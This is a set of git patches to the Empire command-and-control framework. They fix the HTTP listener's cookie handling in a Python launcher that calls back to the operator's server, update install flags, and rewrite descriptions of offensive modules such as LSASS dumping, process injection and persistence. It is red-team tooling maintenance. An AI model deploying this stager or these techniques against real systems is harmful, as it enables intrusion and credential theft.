From 1ff636181ba645a5496587fbc2144505420ed019 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Tue, 27 May 2025 14:30:51 -0400 Subject: [PATCH 1/6] Fixed PowerShell agent having base64 encoded Cookie name for HTTP listener --- CHANGELOG.md | 2 ++ empire/server/listeners/http.py | 12 +++++------- empire/test/test_listener_generate_launcher.py | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c80dca4eb..2c04bb4d0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Fixed PowerShell agent having base64 encoded Cookie name for HTTP listener + ## [6.1.2] - 2025-05-21 ### Added diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index dc860ef3c..b6762118a 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -241,11 +241,9 @@ def generate_launcher( customHeaders = profile.split("|")[2:] cookie = listenerOptions["Cookie"]["Value"] - # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners if cookie == "": - generate = listener_util.generate_cookie() - listenerOptions["Cookie"]["Value"] = generate - cookie = generate + cookie = "session" + listenerOptions["Cookie"]["Value"] = cookie if language == "powershell": # PowerShell @@ -432,7 +430,7 @@ def generate_launcher( launcherBase += "o = urllib.request.build_opener(proxy);\n" # add the RC4 packet to a cookie - launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={b64RoutingPacket}")];\n' + launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "{cookie}={b64RoutingPacket}")];\n' else: username = proxy_creds.split(":")[0] password = proxy_creds.split(":")[1] @@ -441,7 +439,7 @@ def generate_launcher( proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); proxy_auth_handler.add_password(None,'{proxy}','{username}','{password}'); o = urllib.request.build_opener(proxy, proxy_auth_handler); - o.addheaders=[('User-Agent',UA), ("Cookie", "session={b64RoutingPacket}")]; + o.addheaders=[('User-Agent',UA), ("Cookie", "{cookie}={b64RoutingPacket}")]; """ ) @@ -978,7 +976,7 @@ def handle_get(request_uri): if cookie and cookie != "": try: # see if we can extract the 'routing packet' from the specified cookie location - # NOTE: this can be easily moved to a paramter, another cookie value, etc. + # NOTE: this can be easily moved to a parameter, another cookie value, etc. if self.session_cookie in cookie: listenerName = self.options["Name"]["Value"] message = f"{listenerName}: GET cookie value from {clientIP} : {cookie}" diff --git a/empire/test/test_listener_generate_launcher.py b/empire/test/test_listener_generate_launcher.py index f2eb7b1d4..296c56948 100644 --- a/empire/test/test_listener_generate_launcher.py +++ b/empire/test/test_listener_generate_launcher.py @@ -266,7 +266,7 @@ def _expected_http_python_launcher(): req=urllib.request.Request(server+t); proxy = urllib.request.ProxyHandler(); o = urllib.request.build_opener(proxy); - o.addheaders=[('User-Agent',UA), ("Cookie", "session=cm91dGluZyBwYWNrZXQ=")]; + o.addheaders=[('User-Agent',UA), ("Cookie", "l33th4x0r=cm91dGluZyBwYWNrZXQ=")]; urllib.request.install_opener(o); a=urllib.request.urlopen(req).read(); IV=a[0:4]; From 24aa66d18a44a711f6e54034d55c24a9a8ede5bf Mon Sep 17 00:00:00 2001 From: SirFailBob <44647143+SirFailBob@users.noreply.github.com> Date: Mon, 7 Jul 2025 06:48:52 +0200 Subject: [PATCH 2/6] Update install.sh (#788) added & unified usage of -y in apt-get in install script to allow unattended installation --- setup/install.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/setup/install.sh b/setup/install.sh index 1e00b28a6..f071ebdbd 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -100,7 +100,7 @@ function install_python() { echo -e "\x1b[1;34m[*] Installing Python\x1b[0m" sudo DEBIAN_FRONTEND=noninteractive TZ=Etc/UTC \ - apt-get -y install build-essential gdb lcov pkg-config \ + apt-get install -y build-essential gdb lcov pkg-config \ libbz2-dev libffi-dev libgdbm-dev libgdbm-compat-dev liblzma-dev \ libncurses5-dev libreadline6-dev libsqlite3-dev libssl-dev \ lzma tk-dev uuid-dev zlib1g-dev @@ -123,7 +123,7 @@ function install_powershell() { # To deal with the following error: # Couldn't find a valid ICU package installed on the system. # Please install libicu (or icu-libs) using your package manager and try again. - sudo apt-get install libicu-dev + sudo apt-get install -y libicu-dev # https://learn.microsoft.com/en-us/powershell/scripting/install/install-other-linux?view=powershell-7.4#binary-archives ARCH=$(uname -m) From 8ce9e726a750ccdd99e0bc7b1cf14a4f9c0ef2e8 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 7 Jul 2025 11:02:12 -0400 Subject: [PATCH 3/6] Updated module descriptions (#790) * Added annotations to module yamls * First batch of C# module descriptions updated * a few more * a few more * Fixed misspellings and formatting * fixed accidental formatting of code block in yamls * reverted the C# yamls formatting changes * additional fixes * Improved descriptions for clipboard_monitor and screenshot modules to be LLM-friendly * Update PersistAutorun.yaml * cleaned up formatting mistakes * updated SA bofs * updated more bof descriptions * Updated descriptions for ps lateral modules * Updated descriptions for management modules * updated module descriptions * complete powershell/collection * update powrshell situational awareness modules * updated powershell privesc * updated mimikatz modules * update powrshell exploitation modules * updated powershell management modules * update mailraider modules * updated powershell persistence modules * fixed formatting * reverted yaml changes * reverted lint and test yaml * added new line to lint-and-test * Updated module descriptions * fixed invoke-downloadfile.yaml * fixed formated string mistakes * run yamlfmt --------- Co-authored-by: hubbl3 Co-authored-by: Paul Olushile Co-authored-by: Vince Rose --- .../modules/bof/injection/SpawnProcess.yaml | 7 +- empire/server/modules/bof/nanodump.yaml | 7 +- empire/server/modules/bof/secinject.yaml | 5 +- .../bof/situational_awareness/adcs_enum.yaml | 6 +- .../situational_awareness/adcs_enum_com.yaml | 7 +- .../situational_awareness/adcs_enum_com2.yaml | 7 +- .../adv_audit_policies.yaml | 5 +- .../bof/situational_awareness/arp.yaml | 5 +- .../bof/situational_awareness/cacls.yaml | 6 +- .../bof/situational_awareness/driversigs.yaml | 6 +- .../enumLocalSessions.yaml | 5 +- .../enum_filter_driver.yaml | 11 ++- .../bof/situational_awareness/env.yaml | 4 +- .../get_password_policy.yaml | 5 +- .../bof/situational_awareness/ipconfig.yaml | 5 +- .../list_firewall_rules.yaml | 5 +- .../bof/situational_awareness/listdns.yaml | 5 +- .../bof/situational_awareness/listmods.yaml | 6 +- .../bof/situational_awareness/locale.yaml | 5 +- .../situational_awareness/netGroupList.yaml | 6 +- .../netGroupListMembers.yaml | 5 +- .../netLocalGroupList.yaml | 3 +- .../netLocalGroupListMembers.yaml | 4 +- .../situational_awareness/netloggedon.yaml | 2 +- .../bof/situational_awareness/netsession.yaml | 4 +- .../bof/situational_awareness/netshares.yaml | 6 +- .../bof/situational_awareness/netstat.yaml | 5 +- .../bof/situational_awareness/nettime.yaml | 3 +- .../bof/situational_awareness/netuser.yaml | 7 +- .../bof/situational_awareness/netview.yaml | 4 +- .../bof/situational_awareness/probe.yaml | 4 +- .../bof/situational_awareness/resources.yaml | 3 +- .../bof/situational_awareness/routeprint.yaml | 4 +- .../situational_awareness/schtasksenum.yaml | 4 +- .../situational_awareness/schtasksquery.yaml | 4 +- .../bof/situational_awareness/tasklist.yaml | 8 +- .../bof/situational_awareness/whoami.yaml | 5 +- .../bof/situational_awareness/windowlist.yaml | 4 +- .../bof/situational_awareness/wmi_query.yaml | 7 +- .../csharp/code_execution/Assembly.yaml | 11 ++- .../code_execution/AssemblyReflect.yaml | 13 ++- .../csharp/code_execution/RunCoff.yaml | 9 +- .../SharpSploit/PowerShell.yaml | 6 +- .../code_execution/SharpSploit/Shell.yaml | 5 +- .../code_execution/SharpSploit/ShellCmd.yaml | 9 +- .../SharpSploit/ShellCmdRunas.yaml | 11 ++- .../SharpSploit/ShellRunAs.yaml | 8 +- .../csharp/code_execution/Shellcode.yaml | 9 +- .../modules/csharp/collection/Certify.yaml | 8 +- .../collection/SharpSploit_Keylogger.yaml | 8 +- .../modules/csharp/collection/Sharpdump.yaml | 6 +- .../modules/csharp/credentials/Rubeus.yaml | 6 +- .../csharp/credentials/SharpDPAPI.yaml | 7 +- .../SharpSploit/ImpersonateProcess.yaml | 9 +- .../SharpSploit/ImpersonateUser.yaml | 8 +- .../credentials/SharpSploit/Kerberoast.yaml | 8 +- .../credentials/SharpSploit/MakeToken.yaml | 8 +- .../credentials/SharpSploit/RevertToSelf.yaml | 9 +- .../csharp/management/ProcessInjection.yaml | 11 ++- .../management/SharpSploit/BypassAmsi.yaml | 7 +- .../SharpSploit/CreateProcessWithToken.yaml | 6 +- .../SharpSploit/SetRegistryKey.yaml | 6 +- .../SharpSploit/SetRemoteRegistryKey.yaml | 6 +- .../csharp/management/StratumMiner.yaml | 5 +- .../csharp/management/ThreadlessInject.yaml | 7 +- .../server/modules/csharp/management/VNC.yaml | 2 +- .../SharpSploit/PersistAutorun.yaml | 13 +-- .../SharpSploit/PersistCOMHijack.yaml | 5 +- .../SharpSploit/PersistStartup.yaml | 7 +- .../persistence/SharpSploit/PersistWMI.yaml | 22 ++--- .../csharp/privesc/SharpSploit/GetSystem.yaml | 7 +- .../privesc/SharpSploit/PrivExchange.yaml | 8 +- .../modules/csharp/privesc/SharpUp.yaml | 5 +- .../situational_awareness/Seatbelt.yaml | 6 +- .../csharp/situational_awareness/SharpSC.yaml | 8 +- .../SharpSploit/GetDomainComputer.yaml | 9 +- .../SharpSploit/GetDomainGroup.yaml | 9 +- .../SharpSploit/GetDomainUser.yaml | 10 ++- .../SharpSploit/GetNetLocalGroup.yaml | 8 +- .../SharpSploit/GetNetLocalGroupMember.yaml | 8 +- .../SharpSploit/GetNetLoggedOnUser.yaml | 8 +- .../SharpSploit/GetNetSession.yaml | 8 +- .../SharpSploit/GetRegistryKey.yaml | 8 +- .../SharpSploit/GetRemoteRegistryKey.yaml | 8 +- .../SharpSploit/ListDirectory.yaml | 8 +- .../SharpSploit/Portscan.yaml | 7 +- .../SharpSploit/ProcessList.yaml | 6 +- .../situational_awareness/SharpWMI.yaml | 7 +- .../code_execution/invoke_boolang.yaml | 5 +- .../code_execution/invoke_clearscript.yaml | 6 +- .../code_execution/invoke_dllinjection.yaml | 7 +- .../code_execution/invoke_ironpython.yaml | 6 +- .../code_execution/invoke_ironpython3.yaml | 6 +- .../invoke_metasploitpayload.yaml | 30 ------- .../code_execution/invoke_ntsd.yaml | 5 +- .../invoke_reflectivepeinjection.yaml | 7 +- .../code_execution/invoke_script.yaml | 6 +- .../code_execution/invoke_shellcode.yaml | 10 ++- .../code_execution/invoke_shellcodemsil.yaml | 15 +++- .../code_execution/invoke_ssharp.yaml | 7 +- .../powershell/collection/ChromeDump.yaml | 6 +- .../powershell/collection/FoxDump.yaml | 10 ++- .../powershell/collection/SauronEye.yaml | 29 ++++--- .../powershell/collection/SharpChromium.yaml | 20 +++-- .../collection/SharpLoginPrompt.yaml | 21 +++-- .../powershell/collection/USBKeylogger.yaml | 9 +- .../powershell/collection/WebcamRecorder.yaml | 9 +- .../powershell/collection/WireTap.yaml | 13 ++- .../powershell/collection/browser_data.yaml | 4 +- .../collection/clipboard_monitor.yaml | 6 +- .../powershell/collection/file_finder.yaml | 9 +- .../collection/find_interesting_file.yaml | 9 +- .../powershell/collection/get-winupdates.yaml | 14 +-- .../collection/get_indexed_item.yaml | 9 +- .../get_sql_column_sample_data.yaml | 10 ++- .../powershell/collection/get_sql_query.yaml | 7 +- .../powershell/collection/inveigh.yaml | 85 +++++++++---------- .../powershell/collection/keylogger.yaml | 9 +- .../powershell/collection/minidump.yaml | 10 ++- .../powershell/collection/ninjacopy.yaml | 11 ++- .../powershell/collection/packet_capture.yaml | 12 ++- .../modules/powershell/collection/prompt.yaml | 11 ++- .../powershell/collection/screenshot.yaml | 5 +- .../powershell/collection/toasted.yaml | 11 ++- .../vaults/add_keepass_config_trigger.yaml | 21 ++++- .../vaults/find_keepass_config.yaml | 22 ++++- .../vaults/get_keepass_config_trigger.yaml | 19 ++++- .../collection/vaults/keethief.yaml | 20 ++++- .../vaults/remove_keepass_config_trigger.yaml | 20 ++++- .../credentials/DomainPasswordSpray.yaml | 8 +- .../powershell/credentials/VeeamGetCreds.yaml | 12 ++- .../credentials/credential_injection.yaml | 10 ++- .../credentials/enum_cred_store.yaml | 6 +- .../credentials/get_lapspasswords.yaml | 6 +- .../invoke_internal_monologue.yaml | 12 +-- .../credentials/invoke_kerberoast.yaml | 7 +- .../credentials/invoke_ntlmextract.yaml | 5 +- .../credentials/mimikatz/cache.yaml | 9 +- .../credentials/mimikatz/certs.yaml | 8 +- .../credentials/mimikatz/command.yaml | 10 ++- .../credentials/mimikatz/dcsync.yaml | 10 ++- .../credentials/mimikatz/dcsync_hashdump.yaml | 11 ++- .../credentials/mimikatz/extract_tickets.yaml | 9 +- .../credentials/mimikatz/golden_ticket.yaml | 10 ++- .../powershell/credentials/mimikatz/keys.yaml | 9 +- .../credentials/mimikatz/logonpasswords.yaml | 7 +- .../credentials/mimikatz/lsadump.yaml | 9 +- .../credentials/mimikatz/mimitokens.yaml | 7 +- .../powershell/credentials/mimikatz/pth.yaml | 11 ++- .../credentials/mimikatz/purge.yaml | 9 +- .../powershell/credentials/mimikatz/sam.yaml | 8 +- .../credentials/mimikatz/silver_ticket.yaml | 10 ++- .../credentials/mimikatz/terminal_server.yaml | 9 +- .../credentials/mimikatz/trust_keys.yaml | 8 +- .../powershell/credentials/powerdump.yaml | 10 ++- .../powershell/credentials/sessiongopher.yaml | 10 ++- .../powershell/credentials/sharpsecdump.yaml | 10 ++- .../powershell/credentials/tokens.yaml | 13 ++- .../credentials/vault_credential.yaml | 9 +- .../Invoke_ExfilDataToGitHub.yaml | 8 +- .../powershell/exfiltration/PSRansom.yaml | 6 +- .../powershell/exfiltration/egresscheck.yaml | 8 +- .../exfiltration/exfil_dropbox.yaml | 6 +- .../exploitation/exploit_eternalblue.yaml | 11 ++- .../exploitation/exploit_jboss.yaml | 10 ++- .../exploitation/exploit_jenkins.yaml | 8 +- .../exploitation/invoke_spoolsample.yaml | 7 +- .../lateral_movement/invoke_dcom.yaml | 10 ++- .../invoke_executemsbuild.yaml | 18 +++- .../lateral_movement/invoke_portfwd.yaml | 17 +++- .../lateral_movement/invoke_psexec.yaml | 17 +++- .../lateral_movement/invoke_psremoting.yaml | 18 +++- .../lateral_movement/invoke_smbexec.yaml | 21 ++++- .../lateral_movement/invoke_sqloscmd.yaml | 21 ++++- .../lateral_movement/invoke_sshcommand.yaml | 17 +++- .../lateral_movement/invoke_wmi.yaml | 19 ++++- .../lateral_movement/invoke_wmi_debugger.yaml | 22 ++++- .../jenkins_script_console.yaml | 22 ++++- .../new_gpo_immediate_task.yaml | 22 ++++- .../powershell/management/disable_rdp.yaml | 16 +++- .../management/downgrade_account.yaml | 19 ++++- .../management/enable_multi_rdp.yaml | 19 ++++- .../powershell/management/enable_rdp.yaml | 12 ++- .../powershell/management/get_domain_sid.yaml | 17 +++- .../powershell/management/honeyhash.yaml | 12 ++- .../management/invoke-downloadfile.yaml | 24 +++++- .../powershell/management/invoke_bypass.yaml | 19 ++++- .../management/invoke_sharpchisel.yaml | 25 +++++- .../modules/powershell/management/lock.yaml | 19 ++++- .../modules/powershell/management/logoff.yaml | 16 +++- .../mailraider/disable_security.yaml | 19 +++-- .../management/mailraider/get_emailitems.yaml | 12 ++- .../management/mailraider/get_subfolders.yaml | 14 ++- .../management/mailraider/mail_search.yaml | 23 +++-- .../management/mailraider/search_gal.yaml | 23 +++-- .../management/mailraider/send_mail.yaml | 31 ++++--- .../management/mailraider/view_email.yaml | 12 ++- .../powershell/management/phant0m.yaml | 12 ++- .../powershell/management/powercat.yaml | 43 ++++++---- .../powershell/management/psinject.yaml | 13 ++- .../management/reflective_inject.yaml | 20 ++++- .../powershell/management/restart.yaml | 10 ++- .../modules/powershell/management/runas.yaml | 18 +++- .../powershell/management/shinject.yaml | 17 +++- .../powershell/management/sid_to_user.yaml | 18 +++- .../modules/powershell/management/spawn.yaml | 22 +++-- .../powershell/management/spawnas.yaml | 17 +++- .../management/start-processasuser.yaml | 29 +++++-- .../powershell/management/timestomp.yaml | 32 +++++-- .../powershell/management/user_to_sid.yaml | 19 ++++- .../modules/powershell/management/vnc.yaml | 24 ++++-- .../management/wdigest_downgrade.yaml | 18 +++- .../powershell/management/zipfolder.yaml | 19 ++++- .../persistence/elevated/registry.yaml | 39 ++++++--- .../persistence/elevated/rid_hijack.yaml | 34 +++++--- .../persistence/elevated/schtasks.yaml | 44 ++++++---- .../powershell/persistence/elevated/wmi.yaml | 43 +++++++--- .../persistence/elevated/wmi_updater.yaml | 39 ++++++--- .../persistence/misc/add_netuser.yaml | 29 +++++-- .../persistence/misc/add_sid_history.yaml | 19 ++++- .../powershell/persistence/misc/debugger.yaml | 41 ++++++--- .../misc/disable_machine_acct_change.yaml | 19 ++++- .../powershell/persistence/misc/get_ssps.yaml | 27 ++++-- .../persistence/misc/install_ssp.yaml | 20 ++++- .../powershell/persistence/misc/memssp.yaml | 20 ++++- .../persistence/misc/skeleton_key.yaml | 19 ++++- .../persistence/powerbreach/deaduser.yaml | 19 ++++- .../persistence/powerbreach/eventlog.yaml | 19 ++++- .../persistence/powerbreach/resolver.yaml | 19 ++++- .../persistence/userland/backdoor_lnk.yaml | 18 +++- .../persistence/userland/phishing_lnk.yaml | 19 ++++- .../persistence/userland/registry.yaml | 40 ++++++--- .../persistence/userland/schtasks.yaml | 42 ++++++--- .../modules/powershell/privesc/ask.yaml | 3 +- .../modules/powershell/privesc/bypassuac.yaml | 11 ++- .../powershell/privesc/bypassuac_env.yaml | 20 ++++- .../privesc/bypassuac_eventvwr.yaml | 20 ++++- .../privesc/bypassuac_fodhelper.yaml | 20 ++++- .../privesc/bypassuac_fodhelper_progids.yaml | 20 ++++- .../privesc/bypassuac_sdctlbypass.yaml | 19 ++++- .../privesc/bypassuac_tokenmanipulation.yaml | 21 ++++- .../powershell/privesc/bypassuac_wscript.yaml | 21 ++++- .../modules/powershell/privesc/getsystem.yaml | 9 +- .../modules/powershell/privesc/gpp.yaml | 9 +- .../powershell/privesc/mcafee_sitelist.yaml | 7 +- .../modules/powershell/privesc/ms16-032.yaml | 9 +- .../modules/powershell/privesc/ms16-135.yaml | 15 ++-- .../powershell/privesc/powerup/allchecks.yaml | 20 ++++- .../privesc/powerup/find_dllhijack.yaml | 21 ++++- .../privesc/powerup/service_exe_restore.yaml | 21 ++++- .../privesc/powerup/service_exe_stager.yaml | 21 ++++- .../privesc/powerup/service_exe_useradd.yaml | 23 ++++- .../privesc/powerup/service_stager.yaml | 21 ++++- .../privesc/powerup/service_useradd.yaml | 22 ++++- .../privesc/powerup/write_dllhijacker.yaml | 23 ++++- .../powershell/privesc/printdemon.yaml | 16 ++-- .../powershell/privesc/printnightmare.yaml | 13 ++- .../powershell/privesc/privesccheck.yaml | 13 ++- .../modules/powershell/privesc/sherlock.yaml | 9 +- .../powershell/privesc/sweetpotato.yaml | 13 ++- .../modules/powershell/privesc/tater.yaml | 10 ++- .../modules/powershell/privesc/watson.yaml | 9 +- .../modules/powershell/privesc/winPEAS.yaml | 9 +- .../modules/powershell/privesc/zerologon.yaml | 13 +-- .../powershell/recon/fetch_brute_local.yaml | 24 +++++- .../modules/powershell/recon/find_fruit.yaml | 22 ++++- .../get_sql_server_login_default_pw.yaml | 23 ++++- .../modules/powershell/recon/http_login.yaml | 24 +++++- .../host/antivirusproduct.yaml | 7 +- .../host/applockerstatus.yaml | 8 +- .../host/computerdetails.yaml | 9 +- .../situational_awareness/host/dnsserver.yaml | 9 +- .../host/findtrusteddocuments.yaml | 10 ++- .../host/get_pathacl.yaml | 10 ++- .../situational_awareness/host/get_proxy.yaml | 10 ++- .../host/get_uaclevel.yaml | 9 +- .../situational_awareness/host/hostrecon.yaml | 11 ++- .../host/monitortcpconnections.yaml | 10 ++- .../situational_awareness/host/paranoia.yaml | 11 ++- .../situational_awareness/host/winenum.yaml | 8 +- .../network/arpscan.yaml | 8 +- .../network/bloodhound.yaml | 9 +- .../network/get_kerberos_service_ticket.yaml | 21 ++++- .../network/get_spn.yaml | 23 ++++- .../network/get_sql_instance_domain.yaml | 1 + .../network/get_sql_server_info.yaml | 21 ++++- .../network/portscan.yaml | 23 ++++- .../powermad/get_adidns_permission.yaml | 26 +++++- .../network/powermad/get_adidns_zone.yaml | 23 ++++- .../network/powerview/find_foreign_group.yaml | 17 +++- .../network/powerview/find_foreign_user.yaml | 17 +++- .../powerview/find_gpo_computer_admin.yaml | 19 ++++- .../network/powerview/find_gpo_location.yaml | 20 ++++- .../powerview/find_localadmin_access.yaml | 25 +++++- .../find_managed_security_group.yaml | 21 ++++- .../powerview/get_cached_rdpconnection.yaml | 17 +++- .../network/powerview/get_computer.yaml | 25 +++++- .../network/powerview/get_dfs_share.yaml | 17 +++- .../powerview/get_domain_controller.yaml | 22 ++++- .../network/powerview/get_domain_policy.yaml | 17 +++- .../network/powerview/get_domain_trust.yaml | 25 +++++- .../network/powerview/get_fileserver.yaml | 17 +++- .../network/powerview/get_forest.yaml | 16 +++- .../network/powerview/get_forest_domain.yaml | 15 +++- .../network/powerview/get_gpo.yaml | 13 ++- .../network/powerview/get_gpo_computer.yaml | 1 + .../network/powerview/get_group.yaml | 26 +++++- .../network/powerview/get_group_member.yaml | 16 +++- .../network/powerview/get_localgroup.yaml | 17 +++- .../network/powerview/get_loggedon.yaml | 15 +++- .../network/powerview/get_object_acl.yaml | 5 +- .../network/powerview/get_ou.yaml | 16 +++- .../network/powerview/get_rdp_session.yaml | 16 +++- .../network/powerview/get_session.yaml | 14 ++- .../network/powerview/get_site.yaml | 15 +++- .../network/powerview/get_subnet.yaml | 15 +++- .../network/powerview/get_subnet_ranges.yaml | 16 +++- .../network/powerview/get_user.yaml | 25 +++++- .../network/powerview/map_domain_trust.yaml | 16 +++- .../network/powerview/process_hunter.yaml | 18 +++- .../network/powerview/set_ad_object.yaml | 19 ++++- .../network/powerview/share_finder.yaml | 15 +++- .../network/powerview/user_hunter.yaml | 24 +++++- .../network/reverse_dns.yaml | 22 ++++- .../network/sharphound.yaml | 1 + .../network/smbautobrute.yaml | 1 + .../network/smblogin.yaml | 23 ++++- .../network/smbscanner.yaml | 23 ++++- .../powershell/trollsploit/get_schwifty.yaml | 14 ++- .../powershell/trollsploit/invoke_bsod.yaml | 14 ++- .../powershell/trollsploit/message.yaml | 13 ++- .../trollsploit/process_killer.yaml | 13 ++- .../powershell/trollsploit/rick_ascii.yaml | 12 ++- .../powershell/trollsploit/rick_astley.yaml | 12 ++- .../powershell/trollsploit/thunderstruck.yaml | 14 ++- .../powershell/trollsploit/voicetroll.yaml | 12 ++- .../powershell/trollsploit/wallpaper.yaml | 12 ++- .../modules/powershell/trollsploit/wlmdr.yaml | 12 ++- .../server/modules/powershell_template.yaml | 10 +++ .../python/code_execution/invoke_script.yaml | 8 +- .../code_execution/powershell_execution.yaml | 9 +- .../python/collection/linux/hashdump.yaml | 11 ++- .../python/collection/linux/keylogger.yaml | 15 +++- .../python/collection/linux/mimipenguin.yaml | 11 ++- .../python/collection/linux/pillage_user.yaml | 12 ++- .../python/collection/linux/sniffer.yaml | 13 ++- .../python/collection/linux/xkeylogger.yaml | 18 +++- .../python/collection/osx/browser_dump.yaml | 12 ++- .../python/collection/osx/clipboard.yaml | 11 ++- .../python/collection/osx/hashdump.yaml | 11 ++- .../python/collection/osx/imessage_dump.yaml | 13 ++- .../python/collection/osx/kerberosdump.yaml | 11 ++- .../python/collection/osx/keychaindump.yaml | 15 +++- .../osx/keychaindump_chainbreaker.yaml | 12 ++- .../collection/osx/keychaindump_decrypt.yaml | 14 ++- .../python/collection/osx/keylogger.yaml | 13 ++- .../collection/osx/native_screenshot.yaml | 10 ++- .../collection/osx/native_screenshot_mss.yaml | 13 ++- .../python/collection/osx/osx_mic_record.yaml | 12 ++- .../python/collection/osx/pillage_user.yaml | 14 ++- .../modules/python/collection/osx/prompt.yaml | 12 ++- .../collection/osx/screensaver_alleyoop.yaml | 14 ++- .../python/collection/osx/screenshot.yaml | 9 +- .../python/collection/osx/search_email.yaml | 12 ++- .../python/collection/osx/sniffer.yaml | 12 ++- .../modules/python/collection/osx/webcam.yaml | 9 +- .../collection/windows/TicketDumper.yml | 12 ++- .../modules/python/discovery/nameserver.yaml | 7 +- .../modules/python/exploit/web/jboss_jmx.yaml | 10 ++- .../lateral_movement/multi/ssh_command.yaml | 10 ++- .../lateral_movement/multi/ssh_launcher.yaml | 12 ++- .../management/multi/kerberos_inject.yaml | 10 ++- .../python/management/multi/socks.yaml | 8 +- .../python/management/multi/spawn.yaml | 7 +- .../python/management/osx/screen_sharing.yaml | 11 ++- .../management/osx/shellcodeinject64.yaml | 11 ++- .../python/persistence/multi/crontab.yaml | 12 ++- .../python/persistence/multi/desktopfile.yaml | 13 ++- .../persistence/osx/CreateHijacker.yaml | 15 +++- .../python/persistence/osx/LaunchAgent.yaml | 11 ++- .../osx/LaunchAgentUserLandPersistence.yaml | 12 ++- .../persistence/osx/RemoveLaunchAgent.yaml | 13 ++- .../python/persistence/osx/loginhook.yaml | 12 ++- .../modules/python/persistence/osx/mail.yaml | 14 ++- .../privesc/linux/linux_priv_checker.yaml | 13 ++- .../privesc/linux/unix_privesc_check.yaml | 27 +++++- .../python/privesc/multi/CVE-2021-3560.yaml | 26 ++++-- .../python/privesc/multi/CVE-2021-4034.yaml | 13 ++- .../python/privesc/multi/bashdoor.yaml | 19 ++++- .../python/privesc/multi/sudo_spawn.yaml | 21 ++++- .../privesc/osx/dyld_print_to_file.yaml | 26 ++++-- .../modules/python/privesc/osx/piggyback.yaml | 24 +++++- .../privesc/windows/get_gpppasswords.yaml | 26 +++++- .../host/multi/SuidGuidSearch.yaml | 10 ++- .../host/multi/WorldWriteableFileSearch.yaml | 9 +- .../host/multi/linpeas.yaml | 10 ++- .../host/osx/HijackScanner.yaml | 26 +++++- .../host/osx/situational_awareness.yaml | 18 +++- .../dscl_get_groupmembers.yaml | 21 ++++- .../active_directory/dscl_get_groups.yaml | 22 ++++- .../active_directory/dscl_get_users.yaml | 22 ++++- .../active_directory/get_computers.yaml | 18 +++- .../get_domaincontrollers.yaml | 18 +++- .../active_directory/get_fileservers.yaml | 18 +++- .../active_directory/get_groupmembers.yaml | 17 +++- .../get_groupmemberships.yaml | 17 +++- .../network/active_directory/get_groups.yaml | 17 +++- .../network/active_directory/get_ous.yaml | 19 ++++- .../active_directory/get_userinformation.yaml | 18 +++- .../network/active_directory/get_users.yaml | 17 +++- .../network/dcos/chronos_api_add_job.yaml | 8 +- .../network/dcos/chronos_api_delete_job.yaml | 10 ++- .../network/dcos/chronos_api_start_job.yaml | 11 ++- .../network/dcos/etcd_crawler.yaml | 10 ++- .../dcos/marathon_api_create_start_app.yaml | 8 +- .../network/dcos/marathon_api_delete_app.yaml | 10 ++- .../network/find_fruit.yaml | 10 ++- .../network/gethostbyname.yaml | 9 +- .../network/http_rest_api.yaml | 8 +- .../network/port_scan.yaml | 10 ++- .../network/smb_mount.yaml | 12 ++- .../trollsploit/osx/change_background.yaml | 23 ++++- .../python/trollsploit/osx/login_message.yaml | 21 ++++- .../modules/python/trollsploit/osx/say.yaml | 19 ++++- .../python/trollsploit/osx/thunderstruck.yaml | 7 +- empire/server/modules/python_template.yaml | 10 +++ empire/server/plugins/example/plugin.yaml | 2 + .../FooPluginTemplate/plugin.yaml | 2 + .../LoadExceptionPlugin/plugin.yaml | 2 + empire/test/test_registry_2.yaml | 1 + empire/test/test_server_config.yaml | 1 + 431 files changed, 4770 insertions(+), 1023 deletions(-) delete mode 100644 empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml diff --git a/empire/server/modules/bof/injection/SpawnProcess.yaml b/empire/server/modules/bof/injection/SpawnProcess.yaml index 5f6234171..bcf2e34e4 100644 --- a/empire/server/modules/bof/injection/SpawnProcess.yaml +++ b/empire/server/modules/bof/injection/SpawnProcess.yaml @@ -3,9 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Spawns a new sacrificial process in a suspended state. Non-Microsoft - signed binaries are blocked. -software: '' +description: | + Beacon Object File (BOF) that creates a sacrificial process in a suspended state for + process injection techniques. Spawns a Microsoft-signed binary (default: calc.exe) as a child of + a specified parent process (default: explorer.exe) to establish a legitimate process tree. tactics: [TA0002] techniques: [T1134.004, T1106] background: false diff --git a/empire/server/modules/bof/nanodump.yaml b/empire/server/modules/bof/nanodump.yaml index 57f125475..4d32d034d 100644 --- a/empire/server/modules/bof/nanodump.yaml +++ b/empire/server/modules/bof/nanodump.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: A flexible tool that creates a minidump of the LSASS process. +description: Beacon Object File (BOF) that creates a minidump of the LSASS process + using various evasion techniques to bypass security monitoring. Supports multiple + dumping methods including handle duplication, process forking, snapshot creation, + and seclogon handle leaking. Can generate both valid and invalid signature dumps, + with options for chunked writing and various privilege escalation techniques to + access LSASS memory while avoiding detection. software: '' tactics: [TA0006] techniques: [T1003.001] diff --git a/empire/server/modules/bof/secinject.yaml b/empire/server/modules/bof/secinject.yaml index 27846dfbd..ef35d6f39 100644 --- a/empire/server/modules/bof/secinject.yaml +++ b/empire/server/modules/bof/secinject.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Section Mapping Process Injection (secinject) +description: Beacon Object File (BOF) that performs section mapping process injection + by allocating memory in a target process and mapping PE sections directly into + the remote process memory space. This technique 